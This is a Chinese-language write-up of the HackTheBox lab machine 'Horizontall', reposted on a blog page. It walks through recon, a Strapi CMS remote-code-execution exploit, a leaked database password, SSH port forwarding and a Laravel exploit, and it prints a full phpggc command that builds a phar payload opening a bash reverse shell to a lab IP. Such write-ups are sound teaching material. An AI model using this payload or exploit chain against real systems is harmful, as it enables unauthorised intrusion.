当前位置:网站首页>HackTheBox | Horizontall
HackTheBox | Horizontall
2022-08-08 13:01:00 【xxL7-】
Horizontall
nmap扫描,开放22、80,80对应站点http://horizontall.htb
访问80
dirsearch扫描,也没有东西
看wp之后发现在response的js文件里,有一个新的域名,虽然我仍然没找到
修改hosts文件之后访问http://api-prod.horizontall.htb/
找到一个admin路径,访问之后跳转到认证页面,使用了strapi
CMS
熟悉的套路就是Google exp,然后就找到了RCE
使用脚本,成功RCE,但是是无回显
直接反弹shell
检查/etc/passwd,看到developer
用户
strapi用户可以直接读取developer用户家目录下的user.txt
检查本地,存在MySQL
尝试寻找MySQL数据库登录方式,在/opt/strapi/myapi/config/environments/development
下的database.json
中找到一堆账号密码developer/#J!:F9Zt2u
但是该密码无法登录developer的ssh,还是从数据库入手。最终在数据库中找到strapi的管理员密码的密文值。
上john爆破也没爆出来
回顾前面的内容,发现本地还开放了1337
和8000
。探测这两个端口的服务,发现8000开放Lavarel
。
写ssh公钥,用于之后的端口转发
本地ssh-keygen
生成id_rsa.pub
,然后将id_rsa.pub
的内容写入strapi家目录下的.ssh/authorized_keys
中
本地设置ssh端口转发,将10.10.11.105主机上127.0.0.1:8000
转发到本地的8000端口
当再去访问本地的8000时,就访问到了10.10.11.105的8000端口上的Laravel服务,版本为v8
Laravel存在CVE,之前的某道题中用到过,所以直接找exp进行利用了
https://github.com/ambionics/laravel-exploits
直接拿到root权限
反弹shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"
边栏推荐
猜你喜欢
手绘地图制作的关键点之“图层覆盖”
[C language] Detailed explanation of custom types: structure, enumeration, union
The most complete JVM performance tuning in history: thread + subsystem + class loading + memory allocation + garbage collection
深度剖析-class的几个对象(utlis,component)-瀑布流-懒加载(概念,作用,原理,实现步骤)
C language small project - complete code of minesweeper game (recursive expansion + selection mark)
将小部分源码设计精髓带入到开发中来(工厂模式、适配器模式、抽象类、监听器)
优刻得“失速”:营收转降,定向增发股东浮亏超三成
[C language] file related operations
作为一个年薪50W阿里P7架构师的必备知识:并发+JVM+多线程+Netty+MySQL
金融行业数智化供应链管理系统:多维度评估分析供应商,赋能智能金融变革
随机推荐
看到这个应用上下线方式,不禁感叹:优雅,太优雅了!
phpstyle安装管理mysql
【软考 系统架构设计师】软件架构设计⑥ 软件产品线
删库不易,跑路更难
Docker-持久化数据库(数据卷)
行业领先的界面开发组件DevExpress 8月发布新版——v22.1.4
医药行业转型发展,探索数字化供应链升级之道
建材业深陷数字化困局,B2B协同系统标准化交易流程,解决企业交易网络化难题
案例分析 | 宜家以双钻设计模型探索线上零售新业务
Three classic topics in C language: three-step flip method, Young's matrix, and tossing and dividing method
服务器配置——Linux系统安装Redis
R语言ggplot2可视化:使用ggpubr包的ggdonutchart函数可视化甜甜圈图(donut chart)、为甜甜圈图添加自定义标签(包含文本内容以及数值百分比)、lab.font参数设置标
SQL INSERT INTO and INSERT INTO the SELECT statement
使用shardingjdbc实现读写分离配置
【cookie 临时存储数据,WebStorage ,sessionStorage】
TS+Hooks二次封装antd Modal,实现可拖拽
R语言基于指定规则、条件删除列表中的元素:使用purrr包的discard函数移除列表数据中的NA值
移位运算、位运算、逻辑运算相关知识点及笔试题
(4)FlinkSQL将socket数据写入到mysql方式一
一些常见的web小功能